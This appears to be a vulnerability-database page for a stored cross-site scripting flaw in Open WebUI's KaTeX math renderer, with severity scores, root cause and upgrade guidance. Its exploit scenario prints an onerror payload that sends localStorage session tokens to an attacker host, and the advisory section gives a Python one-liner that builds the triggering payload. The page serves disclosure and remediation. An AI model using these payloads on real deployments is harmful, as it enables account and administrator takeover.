Skip to main content

Open WebUI CVE-2026-70492

| EUVDEUVD-2026-52923 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-04 https://github.com/open-webui/open-webui GHSA-pwxh-7358-jq2x
5.4
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain low-privileged Open WebUI account
  2. Delivery
    Craft math block with 100k nested braces and embedded HTML payload
  3. Exploit
    Post message to shared chat or readable channel
  4. Install
    Lure or wait for target to open the chat page
  5. C2
    KaTeX RangeError triggers unescaped {at}html fallback
  6. Execute
    Injected script executes on Open WebUI origin
  7. Impact
    Exfiltrate localStorage session token to attacker-controlled host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid, low-privileged Open WebUI user account on the target instance (confirmed by CVSS PR:L); no administrative role, no special permission, and no non-default configuration are required on either the attacker or victim side. The application must be running a vulnerable 0.10.x release. The sole exploitation constraint is passive victim interaction: the target must open a page that renders the attacker's message - opening a shared chat link, viewing a channel, or navigating to any message surface is sufficient; no further clicks or confirmations are required (CVSS UI:R). What limits exploitation in practice is this required viewer interaction and the need for an attacker-controlled account, making unauthenticated or fully automated exploitation impossible. Server-side data and availability are entirely unaffected; impact is confined to the browser session of whoever views the content.

Impact

The vendor-assigned CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N, score 8.7) is independently supported by the description. Attack complexity is genuinely low: the trigger is a single crafted message, requires no race condition or environment-specific precondition, and the proof-of-concept is a one-liner Python command. The UI:R requirement is a limiting factor but a weak one - the victim need only open a page that renders the message, not click or approve anything within it; a shared chat link or a channel the target regularly reads suffices. The S:C scope change and C:H/I:H ratings are accurate because successful exploitation transfers the viewer's session token, enabling full account takeover, and if the viewer holds admin rights that escalates to instance-wide compromise. No EPSS score was present in the input data, so probability quantification is unavailable. No CISA KEV listing exists, meaning confirmed in-the-wild mass exploitation is not established, but the public POC demonstrably achieves the claimed impact. The combination of trivial exploit mechanics, a working published POC, low attacker prerequisites (any user account), and high-value impact (admin session takeover) makes this a genuine remediation priority for any 0.10.x deployment, not merely a paper-high CVSS score.

Exploit ScenarioDerived

An attacker with a standard Open WebUI user account posts a single message to a shared chat or a channel the target reads; the message body is a $-delimited inline math block containing 100,000 opening braces, an <img src=x onerror=fetch('https://attacker.com/?t='+localStorage.token)> payload, and 100,000 closing braces. When the target opens the chat - even passively, without interacting with the message - KaTeX overflows its call stack processing the nested braces, the catch block injects the raw string via {@html}, the image tag is rendered, and the onerror handler exfiltrates the viewer's session token; a public proof-of-concept confirming administrator account takeover via this exact flow is documented in the GHSA advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
1 PoC candidate (unverified) Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 04, 2026

Stored cross-site scripting in Open WebUI 0.10.0-0.10.2 allows any authenticated user to craft a math block that causes a KaTeX RangeError (stack overflow from deeply nested braces), forcing the KatexRenderer.svelte error fallback to inject unescaped HTML directly into the DOM via Svelte's {@html} directive. Any user who subsequently views the message - including administrators - executes attacker-controlled JavaScript on the Open WebUI origin, enabling session token theft from localStorage and full account takeover. A detailed, weaponizable proof-of-concept is publicly documented in the vendor GHSA advisory, including demonstrated administrator session exfiltration; no CISA KEV listing has been identified at time of analysis.

RemediationAI

The definitive fix is to upgrade Open WebUI to version 0.11.0 or later; no configuration change is needed and the upgrade fully resolves the vulnerability. The patch (commit bc600d3f085802c45aa8f38c30e6e8c986bde6cc, PR #26718 at https://github.com/open-webui/open-webui/pull/26718) HTML-escapes the KaTeX fallback string before DOM insertion, replacing &, <, and > with their respective HTML entities so that a failed render displays the formula as inert text rather than executable markup. If immediate upgrade is not feasible, the most targeted compensating control is to restrict message-posting permissions to a minimal set of trusted user accounts, which reduces the population of potential attackers but does not eliminate the risk since any authenticated account is sufficient for exploitation. Disabling KaTeX math rendering entirely (requiring a custom build modification) would eliminate this specific attack surface at the cost of losing math display functionality. Monitoring ingested messages for sequences of thousands of consecutive { characters can aid in detection but is not a reliable preventive control. No server-side configuration change mitigates this vulnerability in unpatched versions.

Affected VersionsENISA

open-webui 0.10.0, < 0.11.0

Affected Packages

pypi open-webui fix: 0.11.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw lives in src/lib/components/chat/Messages/Markdown/KatexRenderer.svelte (Open WebUI releases 0.10.0-0.10.2, CPE: pkg:pip/open-webui). KaTeX was initialized with throwOnError: false, which suppresses standard ParseError exceptions but does not intercept JavaScript RangeError exceptions thrown when the engine recurses into deeply nested brace structures. The component's catch block treated all render failures uniformly: it assigned the original, unmodified math source string to the variable rendered with Svelte's {@html} directive, which intentionally bypasses HTML escaping. Because the Markdown tokenizer captures everything between math delimiters verbatim - including angle brackets and complete HTML tags - the attacker exercises complete control over the string injected into the DOM. Root cause class is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS), with the specific trigger being the unguarded error path rather than the primary render path.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/open-webui/open-webui) PRIMARY HIGH
NVD 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 8.7 HIGH

Network delivery of stored payload, no attack complexity, low-privilege account required, passive viewer interaction needed, cross-origin session impact with full confidentiality and integrity loss, no server availability effect.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/open-webui/open-webui).

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
Severity Changed
Sep 18, 2026 - 14:52 NVD
HIGH MEDIUM
CVSS changed
Sep 18, 2026 - 14:52 NVD
8.7 (HIGH) 5.4 (MEDIUM)
CVE Published
Aug 04, 2026 - 20:54 github-advisory
HIGH 8.7

DescriptionNVD

Summary

Any authenticated user can store a chat message whose math block makes KaTeX fail with a stack overflow instead of a parse error. When that happens the renderer falls back to inserting the original math source into the page as HTML rather than as text, so script in the message runs in the browser of whoever views it. Every surface that renders messages is affected, including shared chats and channels, and the missing control is output escaping on the error path.

Preconditions

Default configuration, no flags involved. The attacker needs a normal user account and a way to get the target to open the content: a shared chat link, a channel the target reads, or any other message surface. No admin rights and no non-default settings are required on either side.

Impact

Script executes in the viewer's browser on the Open WebUI origin, which puts the session token in localStorage within reach and therefore allows taking over the viewing account. If the viewer is an administrator, that is administrator access to the instance. Exploitation needs the target to open the content, but nothing beyond that: no interaction with the message itself. Server-side data and availability are unaffected; the impact is entirely in the viewer's browser session.

Fix

Fixed in 0.11.0 by commit bc600d3f0 (PR #26718). The error path now HTML-escapes the math source before it reaches the DOM, so a failed render displays the formula as text instead of as markup. Upgrading fully resolves the issue; no configuration change is needed.

Root cause

Affected component: src/lib/components/chat/Messages/Markdown/KatexRenderer.svelte, the reactive block that renders math and its catch branch. Affected setup: releases 0.10.0 through 0.10.2, which are the versions carrying that fallback.

KaTeX was called with throwOnError: false, which suppresses parse errors but not a RangeError from deeply nested input. The surrounding catch treated any failure as "show the original formula" and assigned the untouched source to the value that the template inserts with {@html}. Because the Markdown math tokenizer captures everything between the delimiters verbatim, including angle brackets and complete tags, the attacker controls that string exactly.

Proof of concept

Send a chat message (or store one via any endpoint that writes message content) consisting of a single inline math block: an opening $, 100000 { characters, an <img src=x onerror=alert(document.domain)> tag, 100000 } characters, and a closing $.

python3 -c 'N=100000; print("$"+"{"*N+"<img src=x onerror=alert(document.domain)>"+"}"*N+"$")'

Open the chat as any user who can view it. KaTeX overflows the stack, the fallback inserts the raw source, and the onerror handler fires. Replacing alert() with a request carrying localStorage.token sends the viewer's session token to an attacker-controlled host; this was demonstrated against a shared chat opened by an administrator account.

Credits

@maxntv - reported the unescaped KaTeX error fallback and demonstrated session-token theft through a shared chat.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

Open WebUI 0.10.0-0.10.2 contains a stored cross-site scripting vulnerability that enables any authenticated user to steal session tokens and take over accounts of all other users-including administrators-simply by viewing a malicious message. An attacker with basic access can achieve full administrative compromise and persistent system access through normal application workflows.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 82% exploitable
Prevalence
Medium
popular self-hosted AI chat interface, growing adoption but not universal enterprise infrastructure
Threat Intel
1
1 sources
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy